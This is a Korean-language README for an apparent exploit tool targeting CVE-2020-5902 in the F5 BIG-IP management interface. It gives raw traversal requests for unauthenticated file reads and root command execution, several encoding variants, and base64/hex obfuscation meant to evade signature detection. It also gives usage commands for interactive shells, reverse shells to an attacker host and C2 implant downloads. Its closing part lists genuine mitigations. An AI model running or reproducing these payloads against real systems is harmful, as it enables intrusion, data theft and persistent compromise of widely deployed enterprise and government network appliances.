
F5 BIG-IP는 기업 환경에서 널리 사용되는 애플리케이션 전달 및 보안 플랫폼입니다. CVE-2020-5902는 패치되지 않은 버전에서 무단 액세스 및 원격 코드 실행을 허용할 수 있는 TMUI의 심각한 취약점으로, 지속적인 업데이트 및 취약점 관리의 필요성을 강조합니다.
F5 BIG-IP의 Traffic Management User Interface (TMUI)의 중요한 경로 탐색 / 원격 코드 실행 취약점에 대한 개념 증명 익스플로잇입니다.
⚠️ 승인된 침투 테스트 및 보안 연구에만 사용하십시오. 소유하지 않았거나 테스트에 대한 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
F5 BIG-IP는 로드 밸런서, WAF, 애플리케이션 전송 컨트롤러 등 다목적 네트워크 장비 제품군으로, 전 세계 포츈 500대 기업, 금융 기관, 의료 기관, 정부 기관 대부분에서 배포됩니다. Traffic Management User Interface (TMUI) — 설정 유틸리티라고도 함 — 는 포트 443(또는 8443)에서 접근 가능한 웹 기반 관리 포털입니다.
2020년 7월, F5는 CVE-2020-5902를 공개했습니다. 이는 TMUI의 심각(CVSS 9.8) 인증되지 않은 경로 탐색 취약점으로, 원격의 인증되지 않은 공격자가 다음을 수행할 수 있습니다:
공개 후 며칠 이내에, 국가 행위자를 포함한 대규모 익스플로잇이 실제 환경에서 관찰되었습니다.
TMUI는 Apache Tomcat을 기반으로 구축되었으며, 보호된 리소스에 대한 인증을 강제하기 위해 서블릿 필터를 사용합니다. 취약점은 Tomcat이 세미콜론으로 구분된 경로 세그먼트(;)를 구문 분석하는 방식에 있습니다.
다음 요청은 인증을 완전히 우회합니다:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
작동 원리:
/tmui/login.jsp(; 앞에서 끝남)로 인식합니다. 이는 공용 로그인 페이지이므로 요청을 허용합니다./..;/를 경로 탐색(/../)으로 처리합니다.fileRead.jsp 서블릿으로 인증 없이 라우팅됩니다.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
tmshCmd.jsp 서블릿(동일한 탐색으로 접근 가능)은 command 및 utilCmdArgs 매개변수를 tmsh(BIG-IP 관리 셸)에 직접 전달하며, 이는 run util bash -c '...'로 래핑됩니다. 이를 통해 인증되지 않은 루트 수준 OS 명령 실행이 가능합니다:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
| 변형 | 페이로드 |
|---|---|
| 표준 | tmui/login.jsp/..;/tmui/... |
| 인코딩된 세미콜론 | tmui/login.jsp/..%3b/tmui/... |
| 이중 URL 인코딩 | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| 유니코드 점-점 | tmui/login.jsp/%2e%2e;/tmui/... |
| 대소문자 변형 | TMUI/login.jsp/..;/tmui/... |
| 디렉토리 혼동 | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
이 도구는 실행 시 두 가지 난독화 가젯 중 하나를 적용하여 정적 서명 탐지를 더 어렵게 만듭니다:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
| BIG-IP 브랜치 | 취약 범위 | 패치 버전 |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
BIG-IQ, BIG-IQ Centralized Management, F5OS 및 Traffix SDC는 이 특정 CVE의 영향을 받지 않습니다.
!revshell, !c2, !read, !brute 명령git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
요구 사항: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. 취약점 확인만
python CVE-2020-5902.py 192.168.1.100
# 2. 사용자 정의 포트 + 단일 명령 실행
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. 대화형 셸
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI 무차별 대입 (30개의 민감한 경로 읽기)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. 리버스 셸 콜백
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. C2 임플란트 배포 (Sliver 예제)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Burp Suite를 통해 트래픽 검사
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
--shell 모드에서 다음 특수 명령을 사용할 수 있습니다:
| 명령 | 설명 |
|---|---|
!revshell <lhost> <lport> | 4개의 리버스 셸 변형을 동시에 발사 |
!c2 <url> <type> [args] | C2 임플란트 다운로드 및 실행 |
!read <path> | LFI를 통해 임의 파일 읽기 |
!brute | 30개의 민감한 경로를 무차별 대입 |
!exit | 세션 종료 |
<any OS command> | RCE를 통해 실행하고 출력 출력 |
가장 효과적인 단일 완화 조치는 관리 인터페이스가 신뢰할 수 없는 네트워크에서 절대 접근 불가능하도록 하는 것입니다:
# BIG-IP: 관리 접근을 전용 VLAN/IP 범위로 제한
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
또는 BIG-IP Self IP 구성에서 관리 포트에 외부 경로가 없는지 확인하십시오.
F5는 탐색 패턴을 차단하는 Apache RewriteRule을 추가하는 완화 스크립트를 게시했습니다:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]